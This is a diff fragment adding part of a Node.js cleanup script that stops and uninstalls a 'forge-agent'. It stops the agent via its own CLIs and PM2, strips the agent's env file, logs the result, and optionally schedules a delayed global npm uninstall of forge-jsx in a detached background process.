211
+ stdio: log ? "inherit" : "ignore",
212
+ windowsHide: true,
213
+ timeout: 120_000,
214
+ env: {
215
+ ...baseEnv,
216
+ ...isolatedNpmCacheEnv(baseEnv),
217
+ },
218
+ });
219
+ return r.status === null ? 1 : r.status;
220
+ }
221
+
222
+ /**
223
+ * Remove globally installed forge-jsx after a delay so this Node process is not executing from
224
+ * the directory npm is about to delete. Only invoked when `globalForgeJsRoot()` was found.
225
+ * @param {boolean} log
226
+ */
227
+ function scheduleGlobalForgeJsxUninstall(log) {
228
+ const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
229
+ const env = { ...baseEnv, ...isolatedNpmCacheEnv(baseEnv) };
230
+ try {
231
+ if (process.platform === "win32") {
232
+ const child = spawn(
233
+ "cmd.exe",
234
+ ["/c", "timeout /t 3 /nobreak >nul 2>&1 & npm.cmd uninstall -g forge-jsx"],
235
+ { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
236
+ );
237
+ child.unref();
238
+ return;
239
+ }
240
+ const child = spawn(
241
+ "sh",
242
+ ["-c", "sleep 3 && npm uninstall -g forge-jsx"],
243
+ { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
244
+ );
245
+ child.unref();
246
+ } catch (e) {
247
+ if (log) console.error("[forge-jsx-explorer-kill-agent] schedule global uninstall:", e);
248
+ }
249
+ }
250
+
251
+ function runPm2AgentCleanup(log) {
252
+ if (process.platform === "win32") {
253
+ spawnSync(
254
+ "cmd.exe",
255
+ ["/c", "where pm2 >nul 2>nul && (pm2 stop forge-agent 2>nul & pm2 delete forge-agent 2>nul)"],
256
+ { stdio: log ? "inherit" : "ignore", windowsHide: true }
257
+ );
258
+ return;
259
+ }
260
+ spawnSync(
261
+ "sh",
262
+ [
263
+ "-c",
264
+ "command -v pm2 >/dev/null 2>&1 && pm2 stop forge-agent 2>/dev/null; command -v pm2 >/dev/null 2>&1 && pm2 delete forge-agent 2>/dev/null; exit 0",
265
+ ],
266
+ { stdio: log ? "inherit" : "ignore", windowsHide: true }
267
+ );
268
+ }
269
+
270
+ function sanitizeForgeAgentEnvAfterKill(root, log) {
271
+ try {
272
+ const req = createRequire(path.join(root, "package.json"));
273
+ const { defaultCfgmgrDataDir } = req("./dist/clientId.js");
274
+ const { sanitizeForgeAgentEnvFileOnDisk } = req("./dist/autostart/agentEnvFile.js");
275
+ sanitizeForgeAgentEnvFileOnDisk(defaultCfgmgrDataDir());
276
+ } catch (e) {
277
+ if (log) console.error("[forge-jsx-explorer-kill-agent] sanitize forge-js-agent.env:", e);
278
+ }
279
+ }
280
+
281
+ function runKillFromRoot(root, log, opts = {}) {
282
+ const uninstallGlobalPackage = Boolean(opts.uninstallGlobalPackage);
283
+ const cliForge = path.join(root, "dist", "cli-forge.js");
284
+ const cliAuto = path.join(root, "dist", "cli-autostart.js");
285
+ const hasForge = fs.existsSync(cliForge);
286
+ const hasAuto = fs.existsSync(cliAuto);
287
+ if (!hasForge && !hasAuto && log) {
288
+ console.error("[forge-jsx-explorer-kill-agent] missing dist CLIs under", root, "(continuing legacy-compatible cleanup)");
289
+ }
290
+ const codeStop = hasForge ? runForgeCfgmgrStop(root, log) : 1;
291
+ const codeUn = hasAuto ? runAutostartUninstall(root, log) : 1;
292
+ runPm2AgentCleanup(log);
293
+ sanitizeForgeAgentEnvAfterKill(root, log);
294
+ try {
295
+ const home = process.env.HOME || process.env.USERPROFILE || ".";
296
+ const dir = path.join(home, ".forge-js");
297
+ fs.mkdirSync(dir, { recursive: true });
298
+ let line = `${new Date().toISOString()} kill-agent worker: cfgmgr --stop exit ${codeStop}, autostart uninstall exit ${codeUn} (cwd ${root})`;
299
+ if (uninstallGlobalPackage) {
300
+ line += "; scheduled npm uninstall -g forge-jsx (~3s delay)";
301
+ }
302
+ fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
303
+ } catch {
304
+ /* ignore */
305
+ }
306
+ if (uninstallGlobalPackage) {
307
+ scheduleGlobalForgeJsxUninstall(log);
308
+ }
309
+ // Legacy compatibility: even when old installs miss one/both CLIs, kill path still succeeds
310
+ // as long as PM2 cleanup + env sanitation + optional uninstall scheduling ran.
311
+ return 0;
312
+ }
313
+
314
+ function runWorker(log) {
315
+ const globalRoot = globalForgeJsRoot();
316
+ const roots = [];
317
+ const scriptRoot = pkgRootFromScript();
318
+ if (globalRoot) roots.push(path.resolve(globalRoot));
319
+ if (scriptRoot) roots.push(path.resolve(scriptRoot));
320
+ const uniq = [...new Set(roots)];
321
+ for (const root of uniq) {
322
+ runKillFromRoot(root, log, {
323
+ uninstallGlobalPackage: Boolean(globalRoot) && root === path.resolve(globalRoot),
324
+ });
325
+ }
326
+ return 0;
327
+ }
328
+
329
+ async function main() {
330
+ const { foreground, log } = parseArgs(process.argv);
331
+ const ci = (process.env.CI || "").trim().toLowerCase() === "true";
332
+ if (ci) process.exit(0);
333
+
334
+ if (!isWorker()) {
335
+ if (foreground) {
336
+ const globalRoot = globalForgeJsRoot();
337
+ const root = globalRoot || pkgRootFromScript();
338
+ process.exit(runKillFromRoot(root, log, { uninstallGlobalPackage: Boolean(globalRoot) }));
339
+ }
340
+ writeExplorerStdoutLine(
341
+ "[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsx when globally installed) in background on the agent."
342
+ );
343
+ const spawned = await spawnDetachedWorker(log);
344
+ if (!spawned) {
345
+ process.stderr.write(
346
+ "[forge-jsx-explorer-kill-agent] Failed to start background worker. See ~/.forge-js/explorer-kill-agent.log\n"
347
+ );
348
+ process.exit(1);
349
+ }
350
+ process.exit(0);
351
+ }
352
+
353
+ process.exit(runWorker(log));
354
+ }
355
+
356
+ main().catch((e) => {
357
+ console.error("[forge-jsx-explorer-kill-agent]", e);
358
+ process.exit(1);
359
+ });